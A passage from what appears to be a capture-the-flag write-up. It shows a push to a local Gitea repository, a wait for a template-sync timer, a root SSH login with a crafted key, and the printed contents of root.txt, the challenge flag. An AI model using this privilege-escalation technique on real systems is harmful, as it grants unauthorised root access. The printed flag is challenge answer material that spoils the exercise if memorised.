To http://127.0.0.1:3000/jones/pwn.git
 * [new branch]      main -> main
branch 'main' set up to track 'origin/main'.

As you can notice, the following appears in the repo:
image-14.png
Step 4: Wait ~1 minute for gitea-template-sync.timer to fire

Step 5: Attempt root SSH login with your crafted key

ssh -i /tmp/.k root@127.0.0.1

Output:

jones@nexus:~/pwn$ ssh -i /tmp/.k root@127.0.0.1
ssh -i /tmp/.k root@127.0.0.1
The authenticity of host '127.0.0.1 (127.0.0.1)' can't be established.
ED25519 key fingerprint is SHA256:OZNUeTZ9jastNKKQ1tFXatbeOZzSFg5Dt7nhwhjorR0.
This key is not known by any other names.
Are you sure you want to continue connecting (yes/no/[fingerprint])? yes
yes
Warning: Permanently added '127.0.0.1' (ED25519) to the list of known hosts.
Welcome to Ubuntu 24.04.4 LTS (GNU/Linux 6.8.0-111-generic x86_64)
...
root@nexus:~#

Step 7: Grab the flag

root@nexus:~# ls
ls
root.txt
root@nexus:~# cat root.txt
cat  root.txt
2181608b55b746c8c5664887f8253e86

flag: 2181608b55b746c8c5664887f8253e86